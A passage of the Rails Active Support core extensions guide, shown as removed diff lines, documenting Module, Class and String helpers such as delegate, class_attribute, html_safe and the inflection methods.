- # now redefine process and delegate to original_process
- def process(action, params=nil, session=nil, flash=nil, http_method='GET')
- params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
- original_process(action, params, session, flash, http_method)
- end
-end
-</ruby>
-
-That's the method +get+, +post+, etc., delegate the work to.
-
-That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
-
-<ruby>
-ActionController::TestCase.class_eval do
- def process_with_stringified_params(...)
- params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
- process_without_stringified_params(action, params, session, flash, http_method)
- end
- alias_method :process_without_stringified_params, :process
- alias_method :process, :process_with_stringified_params
-end
-</ruby>
-
-The method +alias_method_chain+ provides a shortcut for that pattern:
-
-<ruby>
-ActionController::TestCase.class_eval do
- def process_with_stringified_params(...)
- params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
- process_without_stringified_params(action, params, session, flash, http_method)
- end
- alias_method_chain :process, :stringified_params
-end
-</ruby>
-
-Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations.
-
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-
-h4. Attributes
-
-h5. +alias_attribute+
-
-Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
-
-<ruby>
-class User < ActiveRecord::Base
- # let me refer to the email column as "login",
- # possibly meaningful for authentication code
- alias_attribute :login, :email
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-
-h5. +attr_accessor_with_default+
-
-The method +attr_accessor_with_default+ serves the same purpose as the Ruby macro +attr_accessor+ but allows you to set a default value for the attribute:
-
-<ruby>
-class Url
- attr_accessor_with_default :port, 80
-end
-
-Url.new.port # => 80
-</ruby>
-
-The default value can be also specified with a block, which is called in the context of the corresponding object:
-
-<ruby>
-class User
- attr_accessor :name, :surname
- attr_accessor_with_default(:full_name) do
- [name, surname].compact.join(" ")
- end
-end
-
-u = User.new
-u.name = 'Xavier'
-u.surname = 'Noria'
-u.full_name # => "Xavier Noria"
-</ruby>
-
-The result is not cached, the block is invoked in each call to the reader.
-
-You can overwrite the default with the writer:
-
-<ruby>
-url = Url.new
-url.host # => 80
-url.host = 8080
-url.host # => 8080
-</ruby>
-
-The default value is returned as long as the attribute is unset. The reader does not rely on the value of the attribute to know whether it has to return the default. It rather monitors the writer: if there's any assignment the value is no longer considered to be unset.
-
-Active Resource uses this macro to set a default value for the +:primary_key+ attribute:
-
-<ruby>
-attr_accessor_with_default :primary_key, 'id'
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attr_accessor_with_default.rb+.
-
-h5. Internal Attributes
-
-When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That's remarkably important for libraries.
-
-Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
-
-The macro +attr_internal+ is a synonym for +attr_internal_accessor+:
-
-<ruby>
-# library
-class ThirdPartyLibrary::Crawler
- attr_internal :log_level
-end
-
-# client code
-class MyCrawler < ThirdPartyLibrary::Crawler
- attr_accessor :log_level
-end
-</ruby>
-
-In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision.
-
-By default the internal instance variable is named with a leading underscore, +@_log_level+ in the example above. That's configurable via +Module.attr_internal_naming_format+ though, you can pass any +sprintf+-like format string with a leading +@+ and a +%s+ somewhere, which is where the name will be placed. The default is +"@_%s"+.
-
-Rails uses internal attributes in a few spots, for examples for views:
-
-<ruby>
-module ActionView
- class Base
- attr_internal :captures
- attr_internal :request, :layout
- attr_internal :controller, :template
- end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
-
-h5. Module Attributes
-
-The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes.
-
-For example, the dependencies mechanism uses them:
-
-<ruby>
-module ActiveSupport
- module Dependencies
- mattr_accessor :warnings_on_first_load
- mattr_accessor :history
- mattr_accessor :loaded
- mattr_accessor :mechanism
- mattr_accessor :load_paths
- mattr_accessor :load_once_paths
- mattr_accessor :autoloaded_constants
- mattr_accessor :explicitly_unloadable_constants
- mattr_accessor :logger
- mattr_accessor :log_activity
- mattr_accessor :constant_watch_stack
- mattr_accessor :constant_watch_stack_mutex
- end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
-
-h4. Parents
-
-h5. +parent+
-
-The +parent+ method on a nested named module returns the module that contains its corresponding constant:
-
-<ruby>
-module X
- module Y
- module Z
- end
- end
-end
-M = X::Y::Z
-
-X::Y::Z.parent # => X::Y
-M.parent # => X::Y
-</ruby>
-
-If the module is anonymous or belongs to the top-level, +parent+ returns +Object+.
-
-WARNING: Note that in that case +parent_name+ returns +nil+.
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h5. +parent_name+
-
-The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
-
-<ruby>
-module X
- module Y
- module Z
- end
- end
-end
-M = X::Y::Z
-
-X::Y::Z.parent_name # => "X::Y"
-M.parent_name # => "X::Y"
-</ruby>
-
-For top-level or anonymous modules +parent_name+ returns +nil+.
-
-WARNING: Note that in that case +parent+ returns +Object+.
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h5(#module-parents). +parents+
-
-The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
-
-<ruby>
-module X
- module Y
- module Z
- end
- end
-end
-M = X::Y::Z
-
-X::Y::Z.parents # => [X::Y, X, Object]
-M.parents # => [X::Y, X, Object]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h4. Constants
-
-The method +local_constants+ returns the names of the constants that have been defined in the receiver module:
-
-<ruby>
-module X
- X1 = 1
- X2 = 2
- module Y
- Y1 = :y1
- X1 = :overrides_X1_above
- end
-end
-
-X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8
-X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8
-</ruby>
-
-The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings.
-
-WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+).
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h4. Synchronization
-
-The +synchronize+ macro declares a method to be synchronized:
-
-<ruby>
-class Counter
- @@mutex = Mutex.new
- attr_reader :value
-
- def initialize
- @value = 0
- end
-
- def incr
- @value += 1 # non-atomic
- end
- synchronize :incr, :with => '@@mutex'
-end
-</ruby>
-
-The method receives the name of an action, and a +:with+ option with code. The code is evaluated in the context of the receiver each time the method is invoked, and it should evaluate to a +Mutex+ instance or any other object that responds to +synchronize+ and accepts a block.
-
-NOTE: Defined in +active_support/core_ext/module/synchronization.rb+.
-
-h4. Reachable
-
-A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
-
-That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it:
-
-<ruby>
-module M
-end
-
-M.reachable? # => true
-</ruby>
-
-But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-
-<ruby>
-module M
-end
-
-orphan = Object.send(:remove_const, :M)
-
-# The module object is orphan now but it still has a name.
-orphan.name # => "M"
-
-# You cannot reach it via the constant M because it does not even exist.
-orphan.reachable? # => false
-
-# Let's define a module called "M" again.
-module M
-end
-
-# The constant M exists now again, and it stores a module
-# object called "M", but it is a new instance.
-orphan.reachable? # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
-
-h4. Anonymous
-
-A module may or may not have a name:
-
-<ruby>
-module M
-end
-M.name # => "M"
-
-N = Module.new
-N.name # => "N"
-
-Module.new.name # => "" in 1.8, nil in 1.9
-</ruby>
-
-You can check whether a module has a name with the predicate +anonymous?+:
-
-<ruby>
-module M
-end
-M.anonymous? # => false
-
-Module.new.anonymous? # => true
-</ruby>
-
-Note that being unreachable does not imply being anonymous:
-
-<ruby>
-module M
-end
-
-m = Object.send(:remove_const, :M)
-
-m.reachable? # => false
-m.anonymous? # => false
-</ruby>
-
-though an anonymous module is unreachable by definition.
-
-NOTE: Defined in +active_support/core_ext/module/anonymous.rb+.
-
-h4. Method Delegation
-
-The macro +delegate+ offers an easy way to forward methods.
-
-Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model:
-
-<ruby>
-class User < ActiveRecord::Base
- has_one :profile
-end
-</ruby>
-
-With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly:
-
-<ruby>
-class User < ActiveRecord::Base
- has_one :profile
-
- def name
- profile.name
- end
-end
-</ruby>
-
-That is what +delegate+ does for you:
-
-<ruby>
-class User < ActiveRecord::Base
- has_one :profile
-
- delegate :name, :to => :profile
-end
-</ruby>
-
-It is shorter, and the intention more obvious.
-
-The method must be public in the target.
-
-The +delegate+ macro accepts several methods:
-
-<ruby>
-delegate :name, :age, :address, :twitter, :to => :profile
-</ruby>
-
-When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
-
-<ruby>
-# delegates to the Rails constant
-delegate :logger, :to => :Rails
-
-# delegates to the receiver's class
-delegate :table_name, :to => 'self.class'
-</ruby>
-
-WARNING: If the +:prefix+ option is +true+ this is less generic, see below.
-
-By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option:
-
-<ruby>
-delegate :name, :to => :profile, :allow_nil => true
-</ruby>
-
-With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile.
-
-The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name:
-
-<ruby>
-delegate :street, :to => :address, :prefix => true
-</ruby>
-
-The previous example generates +address_street+ rather than +street+.
-
-WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the +:to+ option must be a method name.
-
-A custom prefix may also be configured:
-
-<ruby>
-delegate :size, :to => :attachment, :prefix => :avatar
-</ruby>
-
-In the previous example the macro generates +avatar_size+ rather than +size+.
-
-NOTE: Defined in +active_support/core_ext/module/delegation.rb+
-
-h4. Method Names
-
-The builtin methods +instance_methods+ and +methods+ return method names as strings or symbols depending on the Ruby version. Active Support defines +instance_method_names+ and +method_names+ to be equivalent to them, respectively, but always getting strings back.
-
-For example, +ActionView::Helpers::FormBuilder+ knows this array difference is going to work no matter the Ruby version:
-
-<ruby>
-self.field_helpers = (FormHelper.instance_method_names - ['form_for'])
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/method_names.rb+
-
-h4. Redefining Methods
-
-There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
-
-The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-
-<ruby>
-redefine_method("#{reflection.name}=") do |new_value|
- association = association_instance_get(reflection.name)
-
- if association.nil? || association.target != new_value
- association = association_proxy_class.new(self, reflection)
- end
-
- association.replace(new_value)
- association_instance_set(reflection.name, new_value.nil? ? nil : association)
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
-
-h3. Extensions to +Class+
-
-h4. Class Attributes
-
-h5. +class_attribute+
-
-The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
-
-<ruby>
-class A
- class_attribute :x
-end
-
-class B < A; end
-
-class C < B; end
-
-A.x = :a
-B.x # => :a
-C.x # => :a
-
-B.x = :b
-A.x # => :a
-C.x # => :b
-
-C.x = :c
-A.x # => :a
-B.x # => :b
-</ruby>
-
-For example +ActionMailer::Base+ defines:
-
-<ruby>
-class_attribute :default_params
-self.default_params = {
- :mime_version => "1.0",
- :charset => "UTF-8",
- :content_type => "text/plain",
- :parts_order => [ "text/plain", "text/enriched", "text/html" ]
-}.freeze
-</ruby>
-
-They can be also accessed and overridden at the instance level.
-
-<ruby>
-A.x = 1
-
-a1 = A.new
-a2 = A.new
-a2.x = 2
-
-a1.x # => 1, comes from A
-a2.x # => 2, overridden in a2
-</ruby>
-
-The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+.
-
-<ruby>
-module ActiveRecord
- class Base
- class_attribute :table_name_prefix, :instance_writer => false
- self.table_name_prefix = ""
- end
-end
-</ruby>
-
-A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
-
-The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+.
-
-<ruby>
-class A
- class_attribute :x, :instance_reader => false
-end
-
-A.new.x = 1 # NoMethodError
-</ruby>
-
-For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
-
-When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method.
-
-NOTE: Defined in +active_support/core_ext/class/attribute.rb+
-
-h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
-
-The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
-
-<ruby>
-class MysqlAdapter < AbstractAdapter
- # Generates class methods to access @@emulate_booleans.
- cattr_accessor :emulate_booleans
- self.emulate_booleans = true
-end
-</ruby>
-
-Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given
-
-<ruby>
-module ActionView
- class Base
- cattr_accessor :field_error_proc
- @@field_error_proc = Proc.new{ ... }
- end
-end
-</ruby>
-
-we can access +field_error_proc+ in views.
-
-The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value.
-
-<ruby>
-module A
- class B
- # No first_name instance reader is generated.
- cattr_accessor :first_name, :instance_reader => false
- # No last_name= instance writer is generated.
- cattr_accessor :last_name, :instance_writer => false
- # No surname instance reader or surname= writer is generated.
- cattr_accessor :surname, :instance_accessor => false
- end
-end
-</ruby>
-
-A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute.
-
-NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
-
-h4. Class Inheritable Attributes
-
-WARNING: Class Inheritable Attributes are deprecated. It's recommended that you use +Class#class_attribute+ instead.
-
-Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros +class_inheritable_reader+, +class_inheritable_writer+, and +class_inheritable_accessor+ provide accessors for class-level data which is inherited but not shared with children:
-
-<ruby>
-module ActionController
- class Base
- # FIXME: REVISE/SIMPLIFY THIS COMMENT.
- # The value of allow_forgery_protection is inherited,
- # but its value in a particular class does not affect
- # the value in the rest of the controllers hierarchy.
- class_inheritable_accessor :allow_forgery_protection
- end
-end
-</ruby>
-
-They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with +dup+ as long as the value is duplicable.
-
-There are some variants specialised in arrays and hashes:
-
-<ruby>
-class_inheritable_array
-class_inheritable_hash
-</ruby>
-
-Those writers take any inherited array or hash into account and extend them rather than overwrite them.
-
-As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
-
-<ruby>
-module ActiveRecord
- class Base
- class_inheritable_accessor :default_scoping, :instance_writer => false
- end
-end
-</ruby>
-
-Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.
-
-NOTE: Defined in +active_support/core_ext/class/inheritable_attributes.rb+.
-
-h4. Subclasses & Descendants
-
-h5. +subclasses+
-
-The +subclasses+ method returns the subclasses of the receiver:
-
-<ruby>
-class C; end
-C.subclasses # => []
-
-class B < C; end
-C.subclasses # => [B]
-
-class A < B; end
-C.subclasses # => [B]
-
-class D < C; end
-C.subclasses # => [B, D]
-</ruby>
-
-The order in which these classes are returned is unspecified.
-
-WARNING: This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.
-
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-
-h5. +descendants+
-
-The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
-
-<ruby>
-class C; end
-C.descendants # => []
-
-class B < C; end
-C.descendants # => [B]
-
-class A < B; end
-C.descendants # => [B, A]
-
-class D < C; end
-C.descendants # => [B, A, D]
-</ruby>
-
-The order in which these classes are returned is unspecified.
-
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-
-h3. Extensions to +String+
-
-h4. Output Safety
-
-h5. Motivation
-
-Inserting data into HTML templates needs extra care. For example you can't just interpolate +@review.title+ verbatim into an HTML page. On one hand if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". On the other hand, depending on the application that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
-
-h5. Safe Strings
-
-Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
-
-Strings are considered to be <i>unsafe</i> by default:
-
-<ruby>
-"".html_safe? # => false
-</ruby>
-
-You can obtain a safe string from a given one with the +html_safe+ method:
-
-<ruby>
-s = "".html_safe
-s.html_safe? # => true
-</ruby>
-
-It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion:
-
-<ruby>
-s = "<script>...</script>".html_safe
-s.html_safe? # => true
-s # => "<script>...</script>"
-</ruby>
-
-It is your responsibility to ensure calling +html_safe+ on a particular string is fine.
-
-If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:
-
-<ruby>
-"".html_safe + "<" # => "&lt;"
-</ruby>
-
-Safe arguments are directly appended:
-
-<ruby>
-"".html_safe + "<".html_safe # => "<"
-</ruby>
-
-These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:
-
-<erb>
-<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
-</erb>
-
-To insert something verbatim use the +raw+ helper rather than calling +html_safe+:
-
-<erb>
-<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
-
-or, equivalently, use <tt><%==</tt>:
-
-<erb>
-<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
-
-The +raw+ helper calls +html_safe+ for you:
-
-<ruby>
-def raw(stringish)
- stringish.to_s.html_safe
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
-
-h5. Transformation
-
-As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +donwcase+, +gsub+, +strip+, +chomp+, +underscore+, etc.
-
-In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe.
-
-INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
-
-h5. Conversion and Coercion
-
-Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string.
-
-h5. Copying
-
-Calling +dup+ or +clone+ on safe strings yields safe strings.
-
-h4. +squish+
-
-The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
-
-<ruby>
-" \n foo\n\r \t bar \n".squish # => "foo bar"
-</ruby>
-
-There's also the destructive version +String#squish!+.
-
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-
-h4. +truncate+
-
-The method +truncate+ returns a copy of its receiver truncated after a given +length+:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(20)
-# => "Oh dear! Oh dear!..."
-</ruby>
-
-Ellipsis can be customized with the +:omission+ option:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
-# => "Oh dear! Oh &hellip;"
-</ruby>
-
-Note in particular that truncation takes into account the length of the omission string.
-
-Pass a +:separator+ to truncate the string at a natural break:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(18)
-# => "Oh dear! Oh dea..."
-"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
-# => "Oh dear! Oh..."
-</ruby>
-
-In the above example "dear" gets cut first, but then +:separator+ prevents it.
-
-WARNING: The option +:separator+ can't be a regexp.
-
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-
-h4. +inquiry+
-
-The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
-
-<ruby>
-"production".inquiry.production? # => true
-"active".inquiry.inactive? # => false
-</ruby>
-
-h4. Key-based Interpolation
-
-In Ruby 1.9 the <tt>%</tt> string operator supports key-based interpolation, both formatted and unformatted:
-
-<ruby>
-"Total is %<total>.02f" % {:total => 43.1} # => Total is 43.10
-"I say %{foo}" % {:foo => "wadus"} # => "I say wadus"
-"I say %{woo}" % {:foo => "wadus"} # => KeyError
-</ruby>
-
-Active Support adds that functionality to <tt>%</tt> in previous versions of Ruby.
-
-NOTE: Defined in +active_support/core_ext/string/interpolation.rb+.
-
-h4. +starts_with?+ and +ends_with?+
-
-Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
-
-<ruby>
-"foo".starts_with?("f") # => true
-"foo".ends_with?("o") # => true
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
-
-h4. +strip_heredoc+
-
-The method +strip_heredoc+ strips indentation in heredocs.
-
-For example in
-
-<ruby>
-if options[:usage]
- puts <<-USAGE.strip_heredoc
- This command does such and such.
-
- Supported options are:
- -h This message
- ...
- USAGE
-end
-</ruby>
-
-the user would see the usage message aligned against the left margin.
-
-Technically, it looks for the least indented line in the whole string, and removes
-that amount of leading whitespace.
-
-NOTE: Defined in +active_support/core_ext/string/strip.rb+.
-
-h4. Access
-
-h5. +at(position)+
-
-Returns the character of the string at position +position+:
-
-<ruby>
-"hello".at(0) # => "h"
-"hello".at(4) # => "o"
-"hello".at(-1) # => "o"
-"hello".at(10) # => ERROR if < 1.9, nil in 1.9
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +from(position)+
-
-Returns the substring of the string starting at position +position+:
-
-<ruby>
-"hello".from(0) # => "hello"
-"hello".from(2) # => "llo"
-"hello".from(-2) # => "lo"
-"hello".from(10) # => "" if < 1.9, nil in 1.9
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +to(position)+
-
-Returns the substring of the string up to position +position+:
-
-<ruby>
-"hello".to(0) # => "h"
-"hello".to(2) # => "hel"
-"hello".to(-2) # => "hell"
-"hello".to(10) # => "hello"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +first(limit = 1)+
-
-The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +last(limit = 1)+
-
-The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h4. Inflections
-
-h5. +pluralize+
-
-The method +pluralize+ returns the plural of its receiver:
-
-<ruby>
-"table".pluralize # => "tables"
-"ruby".pluralize # => "rubies"
-"equipment".pluralize # => "equipment"
-</ruby>
-
-As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
-
-+pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned:
-
-<ruby>
-"dude".pluralize(0) # => "dudes"
-"dude".pluralize(1) # => "dude"
-"dude".pluralize(2) # => "dudes"
-</ruby>
-
-Active Record uses this method to compute the default table name that corresponds to a model:
-
-<ruby>
-# active_record/base.rb
-def undecorated_table_name(class_name = base_class.name)
- table_name = class_name.to_s.demodulize.underscore
- table_name = table_name.pluralize if pluralize_table_names
- table_name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +singularize+
-
-The inverse of +pluralize+:
-
-<ruby>
-"tables".singularize # => "table"
-"rubies".singularize # => "ruby"
-"equipment".singularize # => "equipment"
-</ruby>
-
-Associations compute the name of the corresponding default associated class using this method:
-
-<ruby>
-# active_record/reflection.rb
-def derive_class_name
- class_name = name.to_s.camelize
- class_name = class_name.singularize if collection?
- class_name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +camelize+
-
-The method +camelize+ returns its receiver in camel case:
-
-<ruby>
-"product".camelize # => "Product"
-"admin_user".camelize # => "AdminUser"
-</ruby>
-
-As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
-
-<ruby>
-"backoffice/session".camelize # => "Backoffice::Session"
-</ruby>
-
-For example, Action Pack uses this method to load the class that provides a certain session store:
-
-<ruby>
-# action_controller/metal/session_management.rb
-def session_store=(store)
- if store == :active_record_store
- self.session_store = ActiveRecord::SessionStore
- else
- @@session_store = store.is_a?(Symbol) ?
- ActionDispatch::Session.const_get(store.to_s.camelize) :
- store
- end
-end
-</ruby>
-
-+camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase:
-
-<ruby>
-"visual_effect".camelize(:lower) # => "visualEffect"
-</ruby>
-
-That may be handy to compute method names in a language that follows that convention, for example JavaScript.
-
-INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+:
-
-<ruby>
-ActiveSupport::Inflector.inflections do |inflect|
- inflect.acronym 'SSL'
-end
-
-"SSLError".underscore.camelize #=> "SSLError"
-</ruby>
-
-+camelize+ is aliased to +camelcase+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +underscore+
-
-The method +underscore+ goes the other way around, from camel case to paths:
-
-<ruby>
-"Product".underscore # => "product"
-"AdminUser".underscore # => "admin_user"
-</ruby>
-
-Also converts "::" back to "/":
-
-<ruby>
-"Backoffice::Session".underscore # => "backoffice/session"
-</ruby>
-
-and understands strings that start with lowercase:
-
-<ruby>
-"visualEffect".underscore # => "visual_effect"
-</ruby>
-
-+underscore+ accepts no argument though.
-
-Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant:
-
-<ruby>
-# active_support/dependencies.rb
-def load_missing_constant(from_mod, const_name)
- ...
- qualified_name = qualified_name_for from_mod, const_name
- path_suffix = qualified_name.underscore
- ...
-end
-</ruby>
-
-INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +titleize+
-
-The method +titleize+ capitalizes the words in the receiver:
-
-<ruby>
-"alice in wonderland".titleize # => "Alice In Wonderland"
-"fermat's enigma".titleize # => "Fermat's Enigma"
-</ruby>
-
-+titleize+ is aliased to +titlecase+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +dasherize+
-
-The method +dasherize+ replaces the underscores in the receiver with dashes:
-
-<ruby>
-"name".dasherize # => "name"
-"contact_data".dasherize # => "contact-data"
-</ruby>
-
-The XML serializer of models uses this method to dasherize node names:
-
-<ruby>
-# active_model/serializers/xml.rb
-def reformat_name(name)
- name = name.camelize if camelize?
- dasherize? ? name.dasherize : name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +demodulize+
-
-Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it:
-
-<ruby>
-"Product".demodulize # => "Product"
-"Backoffice::UsersController".demodulize # => "UsersController"
-"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
-</ruby>
-
-Active Record for example uses this method to compute the name of a counter cache column:
-
-<ruby>
-# active_record/reflection.rb
-def counter_cache_column
- if options[:counter_cache] == true
- "#{active_record.name.demodulize.underscore.pluralize}_count"
- elsif options[:counter_cache]
- options[:counter_cache]
- end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +parameterize+
-
-The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
-
-<ruby>
-"John Smith".parameterize # => "john-smith"
-"Kurt Gödel".parameterize # => "kurt-godel"
-</ruby>
-
-In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +tableize+
-
-The method +tableize+ is +underscore+ followed by +pluralize+.
-
-<ruby>
-"Person".tableize # => "people"
-"Invoice".tableize # => "invoices"
-"InvoiceLine".tableize # => "invoice_lines"
-</ruby>
-
